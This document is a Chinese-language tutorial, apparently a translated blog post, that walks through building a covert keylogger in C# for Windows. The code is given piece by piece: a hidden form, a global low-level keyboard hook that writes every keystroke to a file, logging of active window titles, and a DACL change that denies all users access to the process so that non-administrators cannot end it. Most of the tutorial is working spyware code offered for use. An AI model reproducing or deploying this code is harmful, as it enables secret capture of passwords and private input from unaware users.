在这里,我们将考虑基于.Net C#的
Keylogger的创建以及对系统函数的调用。 简要描述了系统功能本身,但最好阅读Microsoft的官方文档。 最后提供了到带有工作程序集的存储库的链接,以及到文档的链接。
将实施什么:
- 记录键盘输入。
- 记录活动窗口。
- 在没有管理员特权的情况下阻止来自用户的进程。
- 通过键盘快捷键停止该过程。
要编写,您将需要C#,Win API和Windows DACL的知识。
因此,我们将分析所需的几种类型的系统代码,每种类型的代码将存储在单独的Enum中。
钩子的类型。
public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, }
要捕获与键盘有关的所有事件,您需要
WH_KEYBOARD_LL类型。 所有其他类型的挂钩都需要实现单独的DLL,但另一个
WH_MOUSE_LL挂钩-与鼠标相关的事件除外。
与键盘相关的事件类型,按下并释放一个键。
public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, }
我们将通过释放键
-WM_KEYUP来记录输入字符。
另外,用于捕获用户从一个应用程序窗口到另一个应用程序窗口的过渡的类型。
public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; }
为了使用键盘快捷键进行枚举以禁用该程序。
public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, }
为了实现所有要点,首先创建表单并将其对用户隐藏。 覆盖基本的SetVisibleCore方法就足够了。
protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); }
该程序将在启动时启动。
Application.Run(HiddenForm);
有一个表格,现在您需要添加主要功能-拦截键盘输入。 我们使用Win API
SetWindowsHookEx方法,将传递以下参数:
- 挂钩的类型为WH_KEYBOARD_LL。
- 回调函数 应该处理与键盘有关的所有事件的方法。
- 当前模块的ID 。
- 线程标识符为0。零,以便该挂钩与所有线程关联。
internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } }
处理钩子的方法本身。 它具有几个参数
nCode-为了了解是处理当前事件还是立即传递事件,
wParam-事件的类型(按下或释放键),
lParam-当前按下的字符。 本质上,
lParam是一个字节数组,因此会在其中存储其他信息,例如,如果用户按住键并且在其上执行处理的机器很慢,则字符数。
internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); }
此实现仅在用户释放键后才写入字符。 要记录字符数,您需要实现
WM_KEYDOWN类型的大小写。
SetKeysState方法用于了解附加键是什么状态,例如,影响大小写的键。
private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; }
GetKeyState是另一个Win API方法,您可以通过该方法通过键码查找状态。
private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; }
在
GetSymbol方法中,首先请求当前窗口的
GetKeyboardLayout键盘布局代码,然后再请求
ToUnicodeEx以获取字符,这都是Win API方法。 如果涉及影响大小写的键,则必须将字符转换为大写。
这足以记录来自键盘的输入。 但是要记录当前的活动窗口,您需要使用另一个挂钩。
internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } }
需要类型
EVENT_SYSTEM_FOREGROUND来跟踪活动窗口中的更改。
WINEVENT_OUTOFCONTEXT表示callBack方法在我们的应用程序中。
传递给挂钩链的方法包含许多参数,这些参数在更详细的实现中很有用,在这种情况下,足以找出活动窗口及其标题。
internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); }
即,将记录每个窗口更改事件。 在
GetActiveWindowTitle中 ,只需使用几个Win API
GetForegroundWindow方法
就足够了-在使用
GetWindowText请求标题后,找出当前活动窗口的标识符。
private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; }
到目前为止,所有系统功能调用均来自
User32和
Kernel32库。 下一步是使用
advapi32库。
第三步是防止普通用户完成录制键盘输入的过程。 首先,您需要处理此过程,然后通过在
DACL中添加条目来进行更改。
internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); }
流程描述符通过
GetKernelObjectSecurity接收 ,该方法被调用两次,首先我们获取描述符的长度,其次我们直接获取流程描述符。
private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); }
更改描述符后,您需要将此信息输入当前进程。 只需将进程的标识符和描述符传递给系统方法
SetKernelObjectSecurity即可 。
private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); }
最后一步是使用组合键停止该过程。
internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; }
这里的
key是键盘快捷键,
handle是隐藏表单
的标识符。 为了识别表单上的按键组合,将创建
keyId ,通过它可以检查按键组合的操作。 所有这些都是通过Win API方法
RegisterHotKey编写的。
为了最终停止该过程,我们重新定义了
WndProc方法的形式。
protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); }
有用的链接:资料库链接链接到MS文档。